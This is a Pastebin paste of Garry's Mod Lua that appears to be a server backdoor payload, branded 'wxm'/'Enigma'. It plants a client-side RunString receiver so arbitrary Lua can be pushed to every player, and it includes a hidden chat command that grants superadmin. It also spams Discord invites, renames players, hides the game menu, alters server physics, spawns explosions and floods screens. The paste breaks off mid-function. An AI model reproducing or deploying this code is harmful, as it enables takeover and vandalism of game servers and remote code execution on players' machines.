MarlowFR

Untitled

Jul 15th, 2019
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.19 KB | None | 0 0
  1.  
  2. local lol = {}
  3. function lol:RandomString( intMin, intMax )
  4. local ret = ""
  5. for _ = 1, math.random( intMin, intMax ) do
  6. ret = ret.. string.char( math.random(65, 90) )
  7. end
  8.  
  9. return ret
  10. end
  11.  
  12. lol.m_tblActions = {}
  13. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  14. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  15.  
  16. function lol:PushAction( intChainDelay, func )
  17. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  18. end
  19.  
  20. function lol:NextAction( pPlayer )
  21. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  22. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  23.  
  24. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  25. if not IsValid( pPlayer ) then return end
  26. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  27. self:NextAction( pPlayer )
  28. end )
  29. end
  30.  
  31. function lol:Start( pPlayer )
  32. pPlayer.m_intCurAction = 0
  33. self:NextAction( pPlayer )
  34. end
  35.  
  36. function lol:SendLua( pPlayer, strLua )
  37. net.Start( "skeleton_dancing_troll" )
  38. net.WriteString( strLua )
  39. net.Send( pPlayer )
  40. end
  41.  
  42. function lol:SetupPlayer( pPlayer )
  43. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  44. end
  45.  
  46. for k, v in pairs( player.GetAll() ) do
  47. lol:SetupPlayer( v )
  48. timer.Simple( 2, function() lol:Start( v ) end )
  49. end
  50.  
  51. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  52. lol:SetupPlayer( pPlayer )
  53. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  54. end )
  55.  
  56. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  57. if strText:sub( 1, 5 ) == "/1337" then
  58. pSender:Ignite( 1e9 )
  59. pSender:ChatPrint( "wxm best backdoor ever ;)" )
  60. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  61. return false
  62. end
  63. end )
  64.  
  65.  
  66.  
  67.  
  68. lol:PushAction( 0, function( pPlayer )
  69. lol:SendLua( pPlayer, ([=[
  70. sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "", function()end )
  71.  
  72. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  73. local html = [[%s]]
  74. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  75. local pnl = vgui.Create( "HTML" )
  76. pnl:SetPos( ScrW() -1, ScrH() -1 )
  77. pnl:SetVisible( true )
  78. pnl:SetMouseInputEnabled( false )
  79. pnl:SetKeyBoardInputEnabled( false )
  80. pnl:SetSize( intSizeX, intSizeY )
  81. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  82.  
  83. local PageLoaded
  84. PageLoaded = function()
  85. local mat = pnl:GetHTMLMaterial()
  86. if mat then
  87. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  88. return
  89. end
  90.  
  91. timer.Simple( 0.5, PageLoaded )
  92. end
  93.  
  94. PageLoaded()
  95. end
  96.  
  97. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
  98. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
  99. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
  100. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
  101. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
  102. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
  103. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
  104. ]=]):format(lol.m_strImageLoadHTML) )
  105. end )
  106. timer.Create("nonameplease", 5, 0,function()
  107. for i=1, #player.GetHumans() do
  108. local ply = player.GetHumans()[i]
  109. ply:Say( "/ooc Rejoignez l'élite! ===> https://discord.gg/n8Heezw")
  110. end
  111. end)
  112. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  113. util.AddNetworkString "EnigmaProject"
  114.  
  115. local CHANGERPSEUDO = "wxm la backdoor du diable"
  116. local enigmalaunchproject = {}
  117. function enigmalaunchproject:RandomString( intMin, intMax )
  118. local ret = ""
  119. for _ = 1, math.random( intMin, intMax ) do
  120. ret = ret.. string.char( math.random(65, 90) )
  121. end
  122.  
  123. return ret
  124. end
  125.  
  126.  
  127.  
  128. enigmalaunchproject.m_tblActions = {}
  129. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  130. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  131.  
  132. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  133. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  134. end
  135.  
  136. function enigmalaunchproject:ActionApres( pPlayer )
  137. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  138. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  139.  
  140. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  141. if not IsValid( pPlayer ) then return end
  142. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  143. self:ActionApres( pPlayer )
  144. end )
  145. end
  146.  
  147. function enigmalaunchproject:Start( pPlayer )
  148. pPlayer.m_intCurAction = 0
  149. self:ActionApres( pPlayer )
  150. end
  151.  
  152. function enigmalaunchproject:SendLua( pPlayer, strLua )
  153. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  154. net.Start( "EnigmaProject" )
  155. net.WriteString( strLua )
  156. net.Send( pPlayer )
  157. end
  158.  
  159. function enigmalaunchproject:SetupPlayer( pPlayer )
  160. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  161. end
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168. -- DANSE --
  169.  
  170.  
  171. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  172.  
  173.  
  174. -- FIN DANSE --
  175.  
  176.  
  177.  
  178.  
  179. -- CHANGER NOM --
  180.  
  181.  
  182. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  183.  
  184.  
  185. -- FIN CHANGER NOM --
  186.  
  187.  
  188.  
  189. -- Console Spam
  190.  
  191. decore = {
  192. [[
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265.  
  266. wxm @ https://discord.gg/n8Heezw
  267. ]]
  268. }
  269.  
  270. function decorationconsole()
  271. print(Color( 0, 0, 0 ), table.Random(decore))
  272. end
  273. -- Console Spam
  274. for k, v in pairs( player.GetAll() ) do
  275. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  276. end
  277.  
  278. --[[ MODE ARMAGEDDON --
  279.  
  280.  
  281. hook.Add("Think", "armageddon", function()
  282. local explode = ents.Create( "env_explosion" )
  283. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  284. explode:Spawn()
  285. explode:SetKeyValue( "iMagnitude", "500" )
  286. explode:Fire( "Explode", 0, 0 )
  287. end)
  288.  
  289.  
  290. -- FIN MODE ARMAGEDDON ]]--
  291.  
  292.  
  293. -- Send Lua --
  294. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  295.  
  296.  
  297. -- Changer Taille --
  298.  
  299.  
  300. hook.Add("Think", "giant", function()
  301. for k,v in pairs (player.GetAll()) do
  302. v:SetModelScale(50.5, 100);
  303. v:SetRunSpeed(700 * 2);
  304. v:SetWalkSpeed(400 * 2);
  305. end
  306. end)
  307.  
  308.  
  309. -- Fin Changer Taille --
  310.  
  311.  
  312.  
  313. -- Message --
  314.  
  315.  
  316. for k,v in pairs(player.GetAll()) do
  317. v:ConCommand("say /ooc Oups, votre serveur se fait percer de tout les côtes! :(")
  318. end
  319.  
  320.  
  321. -- Message Fin --
  322.  
  323.  
  324.  
  325. -- Auto Lançage --
  326.  
  327.  
  328. for k, v in pairs( player.GetAll() ) do
  329. enigmalaunchproject:SetupPlayer( v )
  330. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  331. end
  332.  
  333.  
  334. -- Fin Auto Lançage --
  335.  
  336.  
  337. -- Lancer Aux Nouveaux Arrivants --
  338.  
  339.  
  340. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  341. -- enigmalaunchproject:SetupPlayer( pPlayer )
  342. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  343. --end )
  344.  
  345. -- Fin Lancer Aux Nouveaux Arrivants --
  346.  
  347.  
  348.  
  349. -- Commande Enigma --
  350.  
  351.  
  352. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  353. if strText:sub( 1, 5 ) == "Enigma" then
  354. pSender:Ignite( 1e9 )
  355. pSender:ChatPrint( "wxm la backdoor private la plus puissante de GMod ;)" )
  356. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  357. return false
  358. end
  359. end )
  360.  
  361.  
  362. -- Fin Commande Enigma
  363.  
  364.  
  365.  
  366.  
  367.  
  368. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  369. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  370. pSender:SetUserGroup("superadmin")
  371. pSender:ChatPrint( "Tu est l'un des notres !" )
  372. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  373. return false
  374. end
  375. end)
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  387. enigmalaunchproject:SendLua( pPlayer, ([=[
  388.  
  389. sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
  390.  
  391. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  392. local html = [[%s]]
  393. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  394. local pnl = vgui.Create( "HTML" )
  395. pnl:SetPos( ScrW() -1, ScrH() -1 )
  396. pnl:SetVisible( true )
  397. pnl:SetMouseInputEnabled( false )
  398. pnl:SetKeyBoardInputEnabled( false )
  399. pnl:SetSize( intSizeX, intSizeY )
  400. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  401.  
  402. local PageLoaded
  403. PageLoaded = function()
  404. local mat = pnl:GetHTMLMaterial()
  405. if mat then
  406. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  407. return
  408. end
  409.  
  410. timer.Simple( 0.5, PageLoaded )
  411. end
  412.  
  413. PageLoaded()
  414. end
  415.  
  416. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  417.  
  418. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  419. local sinScaler = math.sin( CurTime() )
  420. DrawBloom(
  421. 0,
  422. 3,
  423. sinScaler *math.Rand(1, 8),
  424. sinScaler *math.Rand(1, 8),
  425. 6,
  426. math.Rand(0.5, 2),
  427. math.Rand(0, 0.3),
  428. math.Rand(0, 0.3),
  429. math.Rand(0.5, 1)
  430. )
  431.  
  432. DrawColorModify{
  433. ["$pp_colour_addr"] = 1,
  434. ["$pp_colour_addg"] = 0,
  435. ["$pp_colour_addb"] = 0,
  436. ["$pp_colour_brightness" ] = 0.1,
  437. ["$pp_colour_contrast" ] = 0.1,
  438. ["$pp_colour_colour" ] = 0.1,
  439. ["$pp_colour_mulr" ] = 1,
  440. ["$pp_colour_mulg" ] = 0,
  441. ["$pp_colour_mulb" ] = 0
  442. }
  443. end )
  444.  
  445. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  446. end )
  447.  
  448.  
  449.  
  450.  
  451. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  452. enigmalaunchproject:SendLua( pPlayer, [[
  453.  
  454. (GAMEMODE or GM).CalcView = function() end
  455. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  456.  
  457. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  458. for k, v in pairs(remove) do
  459. hook.GetTable()[v] = {}
  460. end
  461.  
  462. local function GetWebMat( strURL )
  463. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  464. end
  465.  
  466. hook.Add( "HUDPaint", "hud1enigma", function()
  467. surface.SetDrawColor( 255, 255, 255, 255 )
  468.  
  469. if GetWebMat( "getrekt" ) then
  470. surface.SetMaterial( GetWebMat("getrekt")[1] )
  471. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  472. end
  473.  
  474. draw.SimpleTextOutlined(
  475. "wxm is here",
  476. "DermaLarge",
  477. ScrW() /2 +math.random( -2, 2 ),
  478. ScrH() /2 +math.random( -2, 2 ) +0,
  479. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  480. TEXT_ALIGN_CENTER,
  481. TEXT_ALIGN_CENTER,
  482. 1,
  483. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  484. )
  485. end )
  486.  
  487. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  488. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  489.  
  490. ]] )
  491. end )
  492.  
  493.  
  494.  
  495. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  496. enigmalaunchproject:SendLua( pPlayer, [[
  497.  
  498. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  499.  
  500.  
  501.  
  502. ]] )
  503. end )
  504.  
  505. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  506. enigmalaunchproject:SendLua( pPlayer, [[
  507.  
  508. (GAMEMODE or GM).CalcView = function() end
  509. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  510.  
  511. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  512. for k, v in pairs(remove) do
  513. hook.GetTable()[v] = {}
  514. end
  515.  
  516. local function GetWebMat( strURL )
  517. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  518. end
  519.  
  520. hook.Add( "HUDPaint", "hud1enigma", function()
  521. surface.SetDrawColor( 255, 255, 255, 255 )
  522.  
  523. if GetWebMat( "getrekt" ) then
  524. surface.SetMaterial( GetWebMat("getrekt")[1] )
  525. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  526. end
  527.  
  528. draw.SimpleTextOutlined(
  529. "Aujourd'hui, ce serveur va être purifié",
  530. "DermaLarge",
  531. ScrW() /2 +math.random( -2, 2 ),
  532. ScrH() /2 +math.random( -2, 2 ) +0,
  533. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  534. TEXT_ALIGN_CENTER,
  535. TEXT_ALIGN_CENTER,
  536. 1,
  537. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  538. )
  539. end )
  540.  
  541. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  542. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  543.  
  544.  
  545. ]] )
  546. end )
  547.  
  548. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  549. enigmalaunchproject:SendLua( pPlayer, [[
  550.  
  551. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  552.  
  553. ]] )
  554. end )
  555.  
  556. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  557. enigmalaunchproject:SendLua( pPlayer, [[
  558.  
  559.  
  560. (GAMEMODE or GM).CalcView = function() end
  561. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  562.  
  563. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  564. for k, v in pairs(remove) do
  565. hook.GetTable()[v] = {}
  566. end
  567.  
  568. local function GetWebMat( strURL )
  569. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  570. end
  571.  
  572. hook.Add( "HUDPaint", "hud1enigma", function()
  573. surface.SetDrawColor( 255, 255, 255, 255 )
  574.  
  575. if GetWebMat( "getrekt" ) then
  576. surface.SetMaterial( GetWebMat("getrekt")[1] )
  577. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  578. end
  579.  
  580. draw.SimpleTextOutlined(
  581. "Maintenant, observez notre puissance!",
  582. "DermaLarge",
  583. ScrW() /2 +math.random( -2, 2 ),
  584. ScrH() /2 +math.random( -2, 2 ) +0,
  585. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  586. TEXT_ALIGN_CENTER,
  587. TEXT_ALIGN_CENTER,
  588. 1,
  589. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  590. )
  591. end )
  592.  
  593. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  594. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  595.  
  596.  
  597.  
  598. ]] )
  599. end )
  600.  
  601. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  602. enigmalaunchproject:SendLua( pPlayer, [[
  603.  
  604. for k,v in pairs(player.GetAll()) do
  605. v:ConCommand("say /job wxm ma vie")
  606. end
  607.  
  608. ]] )
  609. end )
  610.  
  611. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  612. enigmalaunchproject:SendLua( pPlayer, [[
  613.  
  614. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  615.  
  616. ]] )
  617. end )
  618.  
  619. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  620. enigmalaunchproject:SendLua( pPlayer, [[
  621.  
  622. RunConsoleCommand("+right")
  623.  
  624. ]] )
  625. end )
  626.  
  627. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  628. enigmalaunchproject:SendLua( pPlayer, [[
  629.  
  630. RunConsoleCommand("-right")
  631.  
  632. ]] )
  633. end )
  634.  
  635. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  636. enigmalaunchproject:SendLua( pPlayer, [[
  637.  
  638. RunConsoleCommand("+duck")
  639.  
  640. ]] )
  641. end )
  642.  
  643. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  644. enigmalaunchproject:SendLua( pPlayer, [[
  645.  
  646. RunConsoleCommand("-duck")
  647.  
  648. ]] )
  649. end )
  650.  
  651. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  652.  
  653. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm l\'élite des backdoors" )' ) end)
  654. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "rejoignez l\'élite!" )' ) end)
  655. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  656. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Marlow" )' ) end)
  657. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  658. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm vous couche tous" )' ) end)
  659. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "gvac c\'est pour vous bande de pucelles" )' ) end)
  660. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "~ l\'élite des backdoors - https://discord.gg/n8Heezw" )' ) end)
  661.  
  662. end )
  663.  
  664.  
  665. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  666.  
  667. timer.Remove( "lespamckool" )
  668. timer.Remove( "lespamckool2" )
  669. timer.Remove( "lespamckool3" )
  670. timer.Remove( "lespamckool4" )
  671. timer.Remove( "lespamckool5" )
  672. timer.Remove( "lespamckool6" )
  673. timer.Remove( "lespamckool7" )
  674. timer.Remove( "lespamckool8" )
  675.  
  676. end )
  677.  
  678. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  679.  
  680.  
  681. RunConsoleCommand("sv_friction", "-50")
  682.  
  683.  
  684. end )
  685.  
  686. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  687.  
  688.  
  689. RunConsoleCommand("sv_gravity", "300")
  690.  
  691.  
  692. end )
  693.  
  694. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  695.  
  696.  
  697. hook.Add("Think", "armageddon", function()
  698. local explode = ents.Create( "env_explosion" )
  699. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  700. explode:Spawn()
  701. explode:SetKeyValue( "iMagnitude", "500" )
  702. explode:Fire( "Explode", 0, 0 )
  703. end)
  704.  
  705. end )
  706.  
  707.  
  708. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  709.  
  710. hook.Remove( "Think", "armageddon", function() end)
  711.  
  712. end )
  713.  
  714. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  715. enigmalaunchproject:SendLua( pPlayer, [[
  716. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  717. local sinScaler = math.sin( CurTime() )
  718. DrawBloom(
  719. 0,
  720. 3,
  721. sinScaler *math.Rand(1, 8),
  722. sinScaler *math.Rand(1, 8),
  723. 6,
  724. math.Rand(0.5, 2),
  725. math.Rand(0, 0.3),
  726. math.Rand(0, 0.3),
  727. math.Rand(0.5, 1)
  728. )
  729.  
  730. DrawColorModify{
  731. ["$pp_colour_addr"] = 0,
  732. ["$pp_colour_addg"] = 0,
  733. ["$pp_colour_addb"] = 0,
  734. ["$pp_colour_brightness" ] = 0.1,
  735. ["$pp_colour_contrast" ] = 0.1,
  736. ["$pp_colour_colour" ] = 0.1,
  737. ["$pp_colour_mulr" ] = 0,
  738. ["$pp_colour_mulg" ] = 0,
  739. ["$pp_colour_mulb" ] = 0
  740. }
  741. end )
  742.  
  743. ]] )
  744. end )
  745.  
  746. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  747. enigmalaunchproject:SendLua( pPlayer, [[
  748.  
  749. (GAMEMODE or GM).CalcView = function() end
  750. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  751.  
  752. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  753. for k, v in pairs(remove) do
  754. hook.GetTable()[v] = {}
  755. end
  756.  
  757. local function GetWebMat( strURL )
  758. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  759. end
  760.  
  761. hook.Add( "HUDPaint", "hud1enigma", function()
  762. surface.SetDrawColor( 255, 255, 255, 255 )
  763.  
  764. draw.SimpleTextOutlined(
  765. "wxm",
  766. "HACK",
  767. ScrW() /2 +math.random( -270, 300 ),
  768. ScrH() /2 +math.random( -300, 700 ) +0,
  769. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  770. TEXT_ALIGN_CENTER,
  771. TEXT_ALIGN_CENTER,
  772. 1,
  773. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  774. )
  775. end )
  776.  
  777. ]] )
  778. end )
  779.  
  780.  
  781. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  782. enigmalaunchproject:SendLua( pPlayer, [[
  783.  
  784. (GAMEMODE or GM).CalcView = function() end
  785. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  786.  
  787. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  788. for k, v in pairs(remove) do
  789. hook.GetTable()[v] = {}
  790. end
  791.  
  792. local function GetWebMat( strURL )
  793. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  794. end
  795.  
  796. hook.Add( "HUDPaint", "hud2enigma", function()
  797. surface.SetDrawColor( 255, 255, 255, 255 )
  798.  
  799. draw.SimpleTextOutlined(
  800. "hmm la backdoor qui fait du bien",
  801. "DermaLarge",
  802. ScrW() /2 +math.random( -600, 700 ),
  803. ScrH() /2 +math.random( -200, 800 ) +100,
  804. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  805. TEXT_ALIGN_CENTER,
  806. TEXT_ALIGN_CENTER,
  807. 1,
  808. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  809. )
  810. end )
  811. ]] )
  812. end )
  813.  
  814. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  815. enigmalaunchproject:SendLua( pPlayer, [[
  816.  
  817. (GAMEMODE or GM).CalcView = function() end
  818. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  819.  
  820. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  821. for k, v in pairs(remove) do
  822. hook.GetTable()[v] = {}
  823. end
  824.  
  825. local function GetWebMat( strURL )
  826. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  827. end
  828.  
  829. hook.Add( "HUDPaint", "hud3enigma", function()
  830. surface.SetDrawColor( 255, 255, 255, 255 )
  831.  
  832. draw.SimpleTextOutlined(
  833. "wxm",
  834. "DermaLarge",
  835. ScrW() /2 +math.random( -400, 500 ),
  836. ScrH() /2 +math.random( -600, 500 ) -100,
  837. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  838. TEXT_ALIGN_CENTER,
  839. TEXT_ALIGN_CENTER,
  840. 1,
  841. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  842. )
  843. end )
  844. ]] )
  845. end )
  846.  
  847. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  848. enigmalaunchproject:SendLua( pPlayer, [[
  849.  
  850. (GAMEMODE or GM).CalcView = function() end
  851. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  852.  
  853. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  854. for k, v in pairs(remove) do
  855. hook.GetTable()[v] = {}
  856. end
  857.  
  858. local function GetWebMat( strURL )
  859. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  860. end
  861.  
  862. hook.Add( "HUDPaint", "hud5enigma", function()
  863. surface.SetDrawColor( 255, 255, 255, 255 )
  864.  
  865. draw.SimpleTextOutlined(
  866. "wxm",
  867. "DermaLarge",
  868. ScrW() /2 +math.random( -500, 500 ),
  869. ScrH() /2 +math.random( -500, 500 ) +0,
  870. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  871. TEXT_ALIGN_CENTER,
  872. TEXT_ALIGN_CENTER,
  873. 1,
  874. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  875. )
  876. end )
  877. ]] )
  878. end )
  879.  
  880. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
